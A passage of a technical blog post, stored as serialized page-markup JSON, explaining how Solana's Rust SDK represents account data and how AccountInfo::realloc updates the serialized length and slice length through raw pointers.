MAX_PERMITTED_DATA_INCREASE;\n",{"type":19,"tag":168,"props":12666,"children":12667},{"class":170,"line":725},[12668,12672,12676,12680,12684,12688,12692,12696,12700,12704,12708,12713,12718],{"type":19,"tag":168,"props":12669,"children":12670},{"style":393},[12671],{"type":24,"value":11347},{"type":19,"tag":168,"props":12673,"children":12674},{"style":399},[12675],{"type":24,"value":12511},{"type":19,"tag":168,"props":12677,"children":12678},{"style":212},[12679],{"type":24,"value":461},{"type":19,"tag":168,"props":12681,"children":12682},{"style":393},[12683],{"type":24,"value":11347},{"type":19,"tag":168,"props":12685,"children":12686},{"style":382},[12687],{"type":24,"value":6266},{"type":19,"tag":168,"props":12689,"children":12690},{"style":399},[12691],{"type":24,"value":7259},{"type":19,"tag":168,"props":12693,"children":12694},{"style":382},[12695],{"type":24,"value":7097},{"type":19,"tag":168,"props":12697,"children":12698},{"style":825},[12699],{"type":24,"value":12080},{"type":19,"tag":168,"props":12701,"children":12702},{"style":212},[12703],{"type":24,"value":524},{"type":19,"tag":168,"props":12705,"children":12706},{"style":399},[12707],{"type":24,"value":948},{"type":19,"tag":168,"props":12709,"children":12710},{"style":175},[12711],{"type":24,"value":12712},"align_offset",{"type":19,"tag":168,"props":12714,"children":12715},{"style":212},[12716],{"type":24,"value":12717},"(BPF_ALIGN_OF_U128); ",{"type":19,"tag":168,"props":12719,"children":12720},{"style":373},[12721],{"type":24,"value":12722},"// padding\n",{"type":19,"tag":20,"props":12724,"children":12725},{},[12726,12728,12733,12735,12741,12743,12754,12756,12761,12763,12769,12771,12777,12779,12785],{"type":24,"value":12727},"In English, we have the length of the data, as a ",{"type":19,"tag":27,"props":12729,"children":12731},{"className":12730},[],[12732],{"type":24,"value":5479},{"type":24,"value":12734},", followed immediately by the data, and an additional ",{"type":19,"tag":27,"props":12736,"children":12738},{"className":12737},[],[12739],{"type":24,"value":12740},"MAX_PERMITTED_DATA_INCREASE",{"type":24,"value":12742}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":19,"tag":269,"props":12744,"children":12747},{"href":12745,"rel":12746},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[273],[12748],{"type":19,"tag":27,"props":12749,"children":12751},{"className":12750},[],[12752],{"type":24,"value":12753},"slice::from_raw_parts_mut",{"type":24,"value":12755},") - slices are how Rust represents a, well, ",{"type":19,"tag":293,"props":12757,"children":12758},{},[12759],{"type":24,"value":12760},"slice",{"type":24,"value":12762}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":19,"tag":27,"props":12764,"children":12766},{"className":12765},[],[12767],{"type":24,"value":12768},"Rc\u003CRefCell\u003CT>>",{"type":24,"value":12770},", giving us the unwieldy-looking type of ",{"type":19,"tag":27,"props":12772,"children":12774},{"className":12773},[],[12775],{"type":24,"value":12776},"AccountInfo.data",{"type":24,"value":12778},": ",{"type":19,"tag":27,"props":12780,"children":12782},{"className":12781},[],[12783],{"type":24,"value":12784},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":24,"value":948},{"type":19,"tag":20,"props":12787,"children":12788},{},[12789,12791,12798],{"type":24,"value":12790},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":19,"tag":269,"props":12792,"children":12795},{"href":12793,"rel":12794},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[273],[12796],{"type":24,"value":12797},"cloning the referenced account",{"type":24,"value":1922},{"type":19,"tag":158,"props":12800,"children":12802},{"className":363,"code":12801,"language":362,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[12803],{"type":19,"tag":27,"props":12804,"children":12805},{"__ignoreMap":7},[12806,12814],{"type":19,"tag":168,"props":12807,"children":12808},{"class":170,"line":171},[12809],{"type":19,"tag":168,"props":12810,"children":12811},{"style":373},[12812],{"type":24,"value":12813},"// Duplicate account, clone the original\n",{"type":19,"tag":168,"props":12815,"children":12816},{"class":170,"line":198},[12817,12821,12825,12829,12833,12837,12841,12846,12850,12854,12859,12863,12868],{"type":19,"tag":168,"props":12818,"children":12819},{"style":393},[12820],{"type":24,"value":12121},{"type":19,"tag":168,"props":12822,"children":12823},{"style":399},[12824],{"type":24,"value":948},{"type":19,"tag":168,"props":12826,"children":12827},{"style":175},[12828],{"type":24,"value":1235},{"type":19,"tag":168,"props":12830,"children":12831},{"style":212},[12832],{"type":24,"value":500},{"type":19,"tag":168,"props":12834,"children":12835},{"style":393},[12836],{"type":24,"value":12121},{"type":19,"tag":168,"props":12838,"children":12839},{"style":212},[12840],{"type":24,"value":1152},{"type":19,"tag":168,"props":12842,"children":12843},{"style":393},[12844],{"type":24,"value":12845},"dup_info",{"type":19,"tag":168,"props":12847,"children":12848},{"style":382},[12849],{"type":24,"value":6266},{"type":19,"tag":168,"props":12851,"children":12852},{"style":825},[12853],{"type":24,"value":11177},{"type":19,"tag":168,"props":12855,"children":12856},{"style":212},[12857],{"type":24,"value":12858},"]",{"type":19,"tag":168,"props":12860,"children":12861},{"style":399},[12862],{"type":24,"value":948},{"type":19,"tag":168,"props":12864,"children":12865},{"style":175},[12866],{"type":24,"value":12867},"clone",{"type":19,"tag":168,"props":12869,"children":12870},{"style":212},[12871],{"type":24,"value":12872},"());\n",{"type":19,"tag":20,"props":12874,"children":12875},{},[12876,12878,12883,12885,12890,12892,12897,12899,12904,12905,12911,12913,12918,12920,12932,12934,12939],{"type":24,"value":12877},"Since ",{"type":19,"tag":27,"props":12879,"children":12881},{"className":12880},[],[12882],{"type":24,"value":1120},{"type":24,"value":12884}," inside the ",{"type":19,"tag":27,"props":12886,"children":12888},{"className":12887},[],[12889],{"type":24,"value":12385},{"type":24,"value":12891}," is a ",{"type":19,"tag":27,"props":12893,"children":12895},{"className":12894},[],[12896],{"type":24,"value":12768},{"type":24,"value":12898},", where the ",{"type":19,"tag":27,"props":12900,"children":12902},{"className":12901},[],[12903],{"type":24,"value":3422},{"type":24,"value":12891},{"type":19,"tag":27,"props":12906,"children":12908},{"className":12907},[],[12909],{"type":24,"value":12910},"&mut [u8]",{"type":24,"value":12912}," pointing at the actual data buffer, when we clone the ",{"type":19,"tag":27,"props":12914,"children":12916},{"className":12915},[],[12917],{"type":24,"value":12385},{"type":24,"value":12919},", we get a new reference",{"type":19,"tag":12921,"props":12922,"children":12923},"sup",{},[12924],{"type":19,"tag":269,"props":12925,"children":12930},{"href":12926,"ariaDescribedBy":12927,"dataFootnoteRef":7,"id":12929},"#user-content-fn-rc-refs",[12928],"footnote-label","user-content-fnref-rc-refs",[12931],{"type":24,"value":1442},{"type":24,"value":12933}," to the slice pointing at the ",{"type":19,"tag":293,"props":12935,"children":12936},{},[12937],{"type":24,"value":12938},"same",{"type":24,"value":12940}," data buffer.",{"type":19,"tag":20,"props":12942,"children":12943},{},[12944,12946,12952,12954,12960],{"type":24,"value":12945},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":19,"tag":27,"props":12947,"children":12949},{"className":12948},[],[12950],{"type":24,"value":12951},"RefCell",{"type":24,"value":12953}," to check the rules at runtime. (The ",{"type":19,"tag":27,"props":12955,"children":12957},{"className":12956},[],[12958],{"type":24,"value":12959},"lamports",{"type":24,"value":12961}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":19,"tag":20,"props":12963,"children":12964},{},[12965,12967,12973],{"type":24,"value":12966},"Changing the data of an account is done by simply writing to ",{"type":19,"tag":27,"props":12968,"children":12970},{"className":12969},[],[12971],{"type":24,"value":12972},"AccountInfo::data",{"type":24,"value":12974},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":19,"tag":20,"props":12976,"children":12977},{},[12978,12980,12987],{"type":24,"value":12979},"This is also where the ",{"type":19,"tag":269,"props":12981,"children":12984},{"href":12982,"rel":12983},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[273],[12985],{"type":24,"value":12986},"runtime validity checks",{"type":24,"value":12988}," are imposed.",{"type":19,"tag":158,"props":12990,"children":12992},{"className":363,"code":12991,"language":362,"meta":7,"style":7},"// Only the owner may change account data\n// and if the account is writable\n// and if the account is not executable\nif !(program_id == pre.owner()\n && is_writable // line coverage used to get branch coverage\n && !pre.executable())\n && pre.data() != post.data()\n{\n if pre.executable() {\n return Err(InstructionError::ExecutableDataModified);\n } else if is_writable {\n return Err(InstructionError::ExternalAccountDataModified);\n } else {\n return Err(InstructionError::ReadonlyDataModified);\n }\n}\n",[12993],{"type":19,"tag":27,"props":12994,"children":12995},{"__ignoreMap":7},[12996,13004,13012,13020,13062,13080,13109,13154,13161,13185,13220,13245,13277,13292,13324,13331],{"type":19,"tag":168,"props":12997,"children":12998},{"class":170,"line":171},[12999],{"type":19,"tag":168,"props":13000,"children":13001},{"style":373},[13002],{"type":24,"value":13003},"// Only the owner may change account data\n",{"type":19,"tag":168,"props":13005,"children":13006},{"class":170,"line":198},[13007],{"type":19,"tag":168,"props":13008,"children":13009},{"style":373},[13010],{"type":24,"value":13011},"// and if the account is writable\n",{"type":19,"tag":168,"props":13013,"children":13014},{"class":170,"line":415},[13015],{"type":19,"tag":168,"props":13016,"children":13017},{"style":373},[13018],{"type":24,"value":13019},"// and if the account is not executable\n",{"type":19,"tag":168,"props":13021,"children":13022},{"class":170,"line":450},[13023,13028,13032,13036,13040,13044,13049,13053,13058],{"type":19,"tag":168,"props":13024,"children":13025},{"style":419},[13026],{"type":24,"value":13027},"if",{"type":19,"tag":168,"props":13029,"children":13030},{"style":399},[13031],{"type":24,"value":10309},{"type":19,"tag":168,"props":13033,"children":13034},{"style":212},[13035],{"type":24,"value":500},{"type":19,"tag":168,"props":13037,"children":13038},{"style":393},[13039],{"type":24,"value":12112},{"type":19,"tag":168,"props":13041,"children":13042},{"style":399},[13043],{"type":24,"value":682},{"type":19,"tag":168,"props":13045,"children":13046},{"style":393},[13047],{"type":24,"value":13048}," pre",{"type":19,"tag":168,"props":13050,"children":13051},{"style":399},[13052],{"type":24,"value":948},{"type":19,"tag":168,"props":13054,"children":13055},{"style":175},[13056],{"type":24,"value":13057},"owner",{"type":19,"tag":168,"props":13059,"children":13060},{"style":212},[13061],{"type":24,"value":5172},{"type":19,"tag":168,"props":13063,"children":13064},{"class":170,"line":560},[13065,13070,13075],{"type":19,"tag":168,"props":13066,"children":13067},{"style":399},[13068],{"type":24,"value":13069}," &&",{"type":19,"tag":168,"props":13071,"children":13072},{"style":393},[13073],{"type":24,"value":13074}," is_writable",{"type":19,"tag":168,"props":13076,"children":13077},{"style":373},[13078],{"type":24,"value":13079}," // line coverage used to get branch coverage\n",{"type":19,"tag":168,"props":13081,"children":13082},{"class":170,"line":666},[13083,13087,13091,13095,13099,13104],{"type":19,"tag":168,"props":13084,"children":13085},{"style":399},[13086],{"type":24,"value":13069},{"type":19,"tag":168,"props":13088,"children":13089},{"style":399},[13090],{"type":24,"value":10309},{"type":19,"tag":168,"props":13092,"children":13093},{"style":393},[13094],{"type":24,"value":158},{"type":19,"tag":168,"props":13096,"children":13097},{"style":399},[13098],{"type":24,"value":948},{"type":19,"tag":168,"props":13100,"children":13101},{"style":175},[13102],{"type":24,"value":13103},"executable",{"type":19,"tag":168,"props":13105,"children":13106},{"style":212},[13107],{"type":24,"value":13108},"())\n",{"type":19,"tag":168,"props":13110,"children":13111},{"class":170,"line":694},[13112,13116,13120,13124,13128,13132,13137,13142,13146,13150],{"type":19,"tag":168,"props":13113,"children":13114},{"style":399},[13115],{"type":24,"value":13069},{"type":19,"tag":168,"props":13117,"children":13118},{"style":393},[13119],{"type":24,"value":13048},{"type":19,"tag":168,"props":13121,"children":13122},{"style":399},[13123],{"type":24,"value":948},{"type":19,"tag":168,"props":13125,"children":13126},{"style":175},[13127],{"type":24,"value":1120},{"type":19,"tag":168,"props":13129,"children":13130},{"style":212},[13131],{"type":24,"value":11489},{"type":19,"tag":168,"props":13133,"children":13134},{"style":399},[13135],{"type":24,"value":13136},"!=",{"type":19,"tag":168,"props":13138,"children":13139},{"style":393},[13140],{"type":24,"value":13141}," post",{"type":19,"tag":168,"props":13143,"children":13144},{"style":399},[13145],{"type":24,"value":948},{"type":19,"tag":168,"props":13147,"children":13148},{"style":175},[13149],{"type":24,"value":1120},{"type":19,"tag":168,"props":13151,"children":13152},{"style":212},[13153],{"type":24,"value":5172},{"type":19,"tag":168,"props":13155,"children":13156},{"class":170,"line":707},[13157],{"type":19,"tag":168,"props":13158,"children":13159},{"style":212},[13160],{"type":24,"value":8324},{"type":19,"tag":168,"props":13162,"children":13163},{"class":170,"line":725},[13164,13168,13172,13176,13180],{"type":19,"tag":168,"props":13165,"children":13166},{"style":419},[13167],{"type":24,"value":9724},{"type":19,"tag":168,"props":13169,"children":13170},{"style":393},[13171],{"type":24,"value":13048},{"type":19,"tag":168,"props":13173,"children":13174},{"style":399},[13175],{"type":24,"value":948},{"type":19,"tag":168,"props":13177,"children":13178},{"style":175},[13179],{"type":24,"value":13103},{"type":19,"tag":168,"props":13181,"children":13182},{"style":212},[13183],{"type":24,"value":13184},"() {\n",{"type":19,"tag":168,"props":13186,"children":13187},{"class":170,"line":746},[13188,13193,13198,13202,13207,13211,13216],{"type":19,"tag":168,"props":13189,"children":13190},{"style":419},[13191],{"type":24,"value":13192}," return",{"type":19,"tag":168,"props":13194,"children":13195},{"style":825},[13196],{"type":24,"value":13197}," Err",{"type":19,"tag":168,"props":13199,"children":13200},{"style":212},[13201],{"type":24,"value":500},{"type":19,"tag":168,"props":13203,"children":13204},{"style":825},[13205],{"type":24,"value":13206},"InstructionError",{"type":19,"tag":168,"props":13208,"children":13209},{"style":399},[13210],{"type":24,"value":888},{"type":19,"tag":168,"props":13212,"children":13213},{"style":825},[13214],{"type":24,"value":13215},"ExecutableDataModified",{"type":19,"tag":168,"props":13217,"children":13218},{"style":212},[13219],{"type":24,"value":1249},{"type":19,"tag":168,"props":13221,"children":13222},{"class":170,"line":755},[13223,13228,13232,13237,13241],{"type":19,"tag":168,"props":13224,"children":13225},{"style":212},[13226],{"type":24,"value":13227}," } ",{"type":19,"tag":168,"props":13229,"children":13230},{"style":419},[13231],{"type":24,"value":718},{"type":19,"tag":168,"props":13233,"children":13234},{"style":419},[13235],{"type":24,"value":13236}," if",{"type":19,"tag":168,"props":13238,"children":13239},{"style":393},[13240],{"type":24,"value":13074},{"type":19,"tag":168,"props":13242,"children":13243},{"style":212},[13244],{"type":24,"value":691},{"type":19,"tag":168,"props":13246,"children":13247},{"class":170,"line":1008},[13248,13252,13256,13260,13264,13268,13273],{"type":19,"tag":168,"props":13249,"children":13250},{"style":419},[13251],{"type":24,"value":13192},{"type":19,"tag":168,"props":13253,"children":13254},{"style":825},[13255],{"type":24,"value":13197},{"type":19,"tag":168,"props":13257,"children":13258},{"style":212},[13259],{"type":24,"value":500},{"type":19,"tag":168,"props":13261,"children":13262},{"style":825},[13263],{"type":24,"value":13206},{"type":19,"tag":168,"props":13265,"children":13266},{"style":399},[13267],{"type":24,"value":888},{"type":19,"tag":168,"props":13269,"children":13270},{"style":825},[13271],{"type":24,"value":13272},"ExternalAccountDataModified",{"type":19,"tag":168,"props":13274,"children":13275},{"style":212},[13276],{"type":24,"value":1249},{"type":19,"tag":168,"props":13278,"children":13279},{"class":170,"line":1025},[13280,13284,13288],{"type":19,"tag":168,"props":13281,"children":13282},{"style":212},[13283],{"type":24,"value":13227},{"type":19,"tag":168,"props":13285,"children":13286},{"style":419},[13287],{"type":24,"value":718},{"type":19,"tag":168,"props":13289,"children":13290},{"style":212},[13291],{"type":24,"value":691},{"type":19,"tag":168,"props":13293,"children":13294},{"class":170,"line":1042},[13295,13299,13303,13307,13311,13315,13320],{"type":19,"tag":168,"props":13296,"children":13297},{"style":419},[13298],{"type":24,"value":13192},{"type":19,"tag":168,"props":13300,"children":13301},{"style":825},[13302],{"type":24,"value":13197},{"type":19,"tag":168,"props":13304,"children":13305},{"style":212},[13306],{"type":24,"value":500},{"type":19,"tag":168,"props":13308,"children":13309},{"style":825},[13310],{"type":24,"value":13206},{"type":19,"tag":168,"props":13312,"children":13313},{"style":399},[13314],{"type":24,"value":888},{"type":19,"tag":168,"props":13316,"children":13317},{"style":825},[13318],{"type":24,"value":13319},"ReadonlyDataModified",{"type":19,"tag":168,"props":13321,"children":13322},{"style":212},[13323],{"type":24,"value":1249},{"type":19,"tag":168,"props":13325,"children":13326},{"class":170,"line":1055},[13327],{"type":19,"tag":168,"props":13328,"children":13329},{"style":212},[13330],{"type":24,"value":761},{"type":19,"tag":168,"props":13332,"children":13333},{"class":170,"line":1064},[13334],{"type":19,"tag":168,"props":13335,"children":13336},{"style":212},[13337],{"type":24,"value":1326},{"type":19,"tag":7050,"props":13339,"children":13341},{"id":13340},"back-to-realloc",[13342,13344],{"type":24,"value":13343},"Back to ",{"type":19,"tag":27,"props":13345,"children":13347},{"className":13346},[],[13348],{"type":24,"value":11084},{"type":19,"tag":20,"props":13350,"children":13351},{},[13352],{"type":24,"value":13353},"As a reminder, this is what we were looking at before that detour:",{"type":19,"tag":158,"props":13355,"children":13356},{"className":363,"code":11837,"language":362,"meta":7,"style":7},[13357],{"type":19,"tag":27,"props":13358,"children":13359},{"__ignoreMap":7},[13360,13367,13454],{"type":19,"tag":168,"props":13361,"children":13362},{"class":170,"line":171},[13363],{"type":19,"tag":168,"props":13364,"children":13365},{"style":373},[13366],{"type":24,"value":11849},{"type":19,"tag":168,"props":13368,"children":13369},{"class":170,"line":198},[13370,13374,13378,13382,13386,13390,13394,13398,13402,13406,13410,13414,13418,13422,13426,13430,13434,13438,13442,13446,13450],{"type":19,"tag":168,"props":13371,"children":13372},{"style":382},[13373],{"type":24,"value":9232},{"type":19,"tag":168,"props":13375,"children":13376},{"style":393},[13377],{"type":24,"value":11303},{"type":19,"tag":168,"props":13379,"children":13380},{"style":399},[13381],{"type":24,"value":402},{"type":19,"tag":168,"props":13383,"children":13384},{"style":382},[13385],{"type":24,"value":11243},{"type":19,"tag":168,"props":13387,"children":13388},{"style":399},[13389],{"type":24,"value":948},{"type":19,"tag":168,"props":13391,"children":13392},{"style":175},[13393],{"type":24,"value":11320},{"type":19,"tag":168,"props":13395,"children":13396},{"style":212},[13397],{"type":24,"value":11325},{"type":19,"tag":168,"props":13399,"children":13400},{"style":399},[13401],{"type":24,"value":529},{"type":19,"tag":168,"props":13403,"children":13404},{"style":175},[13405],{"type":24,"value":11334},{"type":19,"tag":168,"props":13407,"children":13408},{"style":212},[13409],{"type":24,"value":11325},{"type":19,"tag":168,"props":13411,"children":13412},{"style":399},[13413],{"type":24,"value":948},{"type":19,"tag":168,"props":13415,"children":13416},{"style":175},[13417],{"type":24,"value":11347},{"type":19,"tag":168,"props":13419,"children":13420},{"style":212},[13421],{"type":24,"value":500},{"type":19,"tag":168,"props":13423,"children":13424},{"style":399},[13425],{"type":24,"value":1757},{"type":19,"tag":168,"props":13427,"children":13428},{"style":192},[13429],{"type":24,"value":1506},{"type":19,"tag":168,"props":13431,"children":13432},{"style":212},[13433],{"type":24,"value":481},{"type":19,"tag":168,"props":13435,"children":13436},{"style":382},[13437],{"type":24,"value":6280},{"type":19,"tag":168,"props":13439,"children":13440},{"style":399},[13441],{"type":24,"value":7259},{"type":19,"tag":168,"props":13443,"children":13444},{"style":382},[13445],{"type":24,"value":1142},{"type":19,"tag":168,"props":13447,"children":13448},{"style":825},[13449],{"type":24,"value":3294},{"type":19,"tag":168,"props":13451,"children":13452},{"style":212},[13453],{"type":24,"value":412},{"type":19,"tag":168,"props":13455,"children":13456},{"class":170,"line":415},[13457,13461,13465,13469,13473,13477,13481],{"type":19,"tag":168,"props":13458,"children":13459},{"style":399},[13460],{"type":24,"value":2002},{"type":19,"tag":168,"props":13462,"children":13463},{"style":393},[13464],{"type":24,"value":11395},{"type":19,"tag":168,"props":13466,"children":13467},{"style":399},[13468],{"type":24,"value":402},{"type":19,"tag":168,"props":13470,"children":13471},{"style":393},[13472],{"type":24,"value":11404},{"type":19,"tag":168,"props":13474,"children":13475},{"style":382},[13476],{"type":24,"value":6266},{"type":19,"tag":168,"props":13478,"children":13479},{"style":825},[13480],{"type":24,"value":3294},{"type":19,"tag":168,"props":13482,"children":13483},{"style":212},[13484],{"type":24,"value":412},{"type":19,"tag":20,"props":13486,"children":13487},{},[13488,13493,13495,13500,13502,13507,13509,13520,13522,13527,13529,13534],{"type":19,"tag":27,"props":13489,"children":13491},{"className":13490},[],[13492],{"type":24,"value":11320},{"type":24,"value":13494}," gives us the ",{"type":19,"tag":27,"props":13496,"children":13498},{"className":13497},[],[13499],{"type":24,"value":12910},{"type":24,"value":13501}," from the ",{"type":19,"tag":27,"props":13503,"children":13505},{"className":13504},[],[13506],{"type":24,"value":12784},{"type":24,"value":13508},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":19,"tag":269,"props":13510,"children":13513},{"href":13511,"rel":13512},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[273],[13514],{"type":19,"tag":27,"props":13515,"children":13517},{"className":13516},[],[13518],{"type":24,"value":13519},"slice::as_mut_ptr()",{"type":24,"value":13521}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":19,"tag":27,"props":13523,"children":13525},{"className":13524},[],[13526],{"type":24,"value":5479},{"type":24,"value":13528}," - behind the data buffer), and then writes ",{"type":19,"tag":27,"props":13530,"children":13532},{"className":13531},[],[13533],{"type":24,"value":11168},{"type":24,"value":13535}," to it.",{"type":19,"tag":20,"props":13537,"children":13538},{},[13539,13541,13553,13555,13561],{"type":24,"value":13540},"This is reasonable... ",{"type":19,"tag":293,"props":13542,"children":13543},{},[13544,13546,13551],{"type":24,"value":13545},"as long as the ",{"type":19,"tag":27,"props":13547,"children":13549},{"className":13548},[],[13550],{"type":24,"value":1120},{"type":24,"value":13552}," actually came from the serialized buffer",{"type":24,"value":13554},". We'll come back to this ",{"type":19,"tag":269,"props":13556,"children":13558},{"href":13557},"#Not-contracts",[13559],{"type":24,"value":13560},"later",{"type":24,"value":948},{"type":19,"tag":20,"props":13563,"children":13564},{},[13565,13567,13572],{"type":24,"value":13566},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":19,"tag":27,"props":13568,"children":13570},{"className":13569},[],[13571],{"type":24,"value":12910},{"type":24,"value":13573}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":19,"tag":158,"props":13575,"children":13577},{"className":363,"code":13576,"language":362,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[13578],{"type":19,"tag":27,"props":13579,"children":13580},{"__ignoreMap":7},[13581,13589,13716],{"type":19,"tag":168,"props":13582,"children":13583},{"class":170,"line":171},[13584],{"type":19,"tag":168,"props":13585,"children":13586},{"style":373},[13587],{"type":24,"value":13588},"// Then set the new length in the local slice\n",{"type":19,"tag":168,"props":13590,"children":13591},{"class":170,"line":198},[13592,13596,13600,13604,13608,13612,13616,13620,13624,13628,13632,13636,13640,13644,13648,13652,13656,13660,13664,13668,13672,13676,13680,13684,13688,13692,13696,13700,13704,13708,13712],{"type":19,"tag":168,"props":13593,"children":13594},{"style":382},[13595],{"type":24,"value":9232},{"type":19,"tag":168,"props":13597,"children":13598},{"style":393},[13599],{"type":24,"value":11303},{"type":19,"tag":168,"props":13601,"children":13602},{"style":399},[13603],{"type":24,"value":402},{"type":19,"tag":168,"props":13605,"children":13606},{"style":399},[13607],{"type":24,"value":4577},{"type":19,"tag":168,"props":13609,"children":13610},{"style":382},[13611],{"type":24,"value":1142},{"type":19,"tag":168,"props":13613,"children":13614},{"style":399},[13615],{"type":24,"value":7259},{"type":19,"tag":168,"props":13617,"children":13618},{"style":212},[13619],{"type":24,"value":11463},{"type":19,"tag":168,"props":13621,"children":13622},{"style":382},[13623],{"type":24,"value":11159},{"type":19,"tag":168,"props":13625,"children":13626},{"style":399},[13627],{"type":24,"value":948},{"type":19,"tag":168,"props":13629,"children":13630},{"style":212},[13631],{"type":24,"value":1120},{"type":19,"tag":168,"props":13633,"children":13634},{"style":399},[13635],{"type":24,"value":948},{"type":19,"tag":168,"props":13637,"children":13638},{"style":175},[13639],{"type":24,"value":11484},{"type":19,"tag":168,"props":13641,"children":13642},{"style":212},[13643],{"type":24,"value":11489},{"type":19,"tag":168,"props":13645,"children":13646},{"style":382},[13647],{"type":24,"value":6280},{"type":19,"tag":168,"props":13649,"children":13650},{"style":399},[13651],{"type":24,"value":7259},{"type":19,"tag":168,"props":13653,"children":13654},{"style":382},[13655],{"type":24,"value":7097},{"type":19,"tag":168,"props":13657,"children":13658},{"style":825},[13659],{"type":24,"value":3294},{"type":19,"tag":168,"props":13661,"children":13662},{"style":212},[13663],{"type":24,"value":524},{"type":19,"tag":168,"props":13665,"children":13666},{"style":399},[13667],{"type":24,"value":948},{"type":19,"tag":168,"props":13669,"children":13670},{"style":175},[13671],{"type":24,"value":11347},{"type":19,"tag":168,"props":13673,"children":13674},{"style":212},[13675],{"type":24,"value":500},{"type":19,"tag":168,"props":13677,"children":13678},{"style":192},[13679],{"type":24,"value":1442},{"type":19,"tag":168,"props":13681,"children":13682},{"style":212},[13683],{"type":24,"value":481},{"type":19,"tag":168,"props":13685,"children":13686},{"style":382},[13687],{"type":24,"value":6280},{"type":19,"tag":168,"props":13689,"children":13690},{"style":825},[13691],{"type":24,"value":3294},{"type":19,"tag":168,"props":13693,"children":13694},{"style":212},[13695],{"type":24,"value":481},{"type":19,"tag":168,"props":13697,"children":13698},{"style":382},[13699],{"type":24,"value":6280},{"type":19,"tag":168,"props":13701,"children":13702},{"style":399},[13703],{"type":24,"value":7259},{"type":19,"tag":168,"props":13705,"children":13706},{"style":382},[13707],{"type":24,"value":1142},{"type":19,"tag":168,"props":13709,"children":13710},{"style":825},[13711],{"type":24,"value":3294},{"type":19,"tag":168,"props":13713,"children":13714},{"style":212},[13715],{"type":24,"value":1249},{"type":19,"tag":168,"props":13717,"children":13718},{"class":170,"line":415},[13719,13723,13727,13731,13735,13739,13743],{"type":19,"tag":168,"props":13720,"children":13721},{"style":399},[13722],{"type":24,"value":2002},{"type":19,"tag":168,"props":13724,"children":13725},{"style":393},[13726],{"type":24,"value":11395},{"type":19,"tag":168,"props":13728,"children":13729},{"style":399},[13730],{"type":24,"value":402},{"type":19,"tag":168,"props":13732,"children":13733},{"style":393},[13734],{"type":24,"value":11404},{"type":19,"tag":168,"props":13736,"children":13737},{"style":382},[13738],{"type":24,"value":6266},{"type":19,"tag":168,"props":13740,"children":13741},{"style":825},[13742],{"type":24,"value":3294},{"type":19,"tag":168,"props":13744,"children":13745},{"style":212},[13746],{"type":24,"value":412},{"type":19,"tag":20,"props":13748,"children":13749},{},[13750,13752,13758,13760,13771,13773,13779,13781,13787,13789,13794,13796,13801,13803,13813,13814,13821,13822,13829,13836,13838,13844,13846,13852,13854,13859,13861,13866,13868,13874,13876,13881],{"type":24,"value":13751},"That ",{"type":19,"tag":27,"props":13753,"children":13755},{"className":13754},[],[13756],{"type":24,"value":13757},"as_ptr()",{"type":24,"value":13759}," call is ",{"type":19,"tag":269,"props":13761,"children":13764},{"href":13762,"rel":13763},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[273],[13765],{"type":19,"tag":27,"props":13766,"children":13768},{"className":13767},[],[13769],{"type":24,"value":13770},"RefCell::as_ptr()",{"type":24,"value":13772}," due to the ",{"type":19,"tag":27,"props":13774,"children":13776},{"className":13775},[],[13777],{"type":24,"value":13778},"Deref",{"type":24,"value":13780}," impl on ",{"type":19,"tag":27,"props":13782,"children":13784},{"className":13783},[],[13785],{"type":24,"value":13786},"Rc",{"type":24,"value":13788}," (remember also that ",{"type":19,"tag":27,"props":13790,"children":13792},{"className":13791},[],[13793],{"type":24,"value":12951},{"type":24,"value":13795}," itself doesn't behave like a reference, you need to actually ",{"type":19,"tag":293,"props":13797,"children":13798},{},[13799],{"type":24,"value":13800},"get",{"type":24,"value":13802}," one through ",{"type":19,"tag":269,"props":13804,"children":13807},{"href":13805,"rel":13806},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[273],[13808],{"type":19,"tag":27,"props":13809,"children":13811},{"className":13810},[],[13812],{"type":24,"value":6240},{"type":24,"value":3893},{"type":19,"tag":269,"props":13815,"children":13818},{"href":13816,"rel":13817},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[273],[13819],{"type":24,"value":13820},"and",{"type":24,"value":3893},{"type":19,"tag":269,"props":13823,"children":13826},{"href":13824,"rel":13825},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[273],[13827],{"type":24,"value":13828},"frie",{"type":19,"tag":269,"props":13830,"children":13833},{"href":13831,"rel":13832},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[273],[13834],{"type":24,"value":13835},"nds",{"type":24,"value":13837},"). So from ",{"type":19,"tag":27,"props":13839,"children":13841},{"className":13840},[],[13842],{"type":24,"value":13843},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":24,"value":13845}," we get a ",{"type":19,"tag":27,"props":13847,"children":13849},{"className":13848},[],[13850],{"type":24,"value":13851},"*mut &mut [u8]",{"type":24,"value":13853}," - a 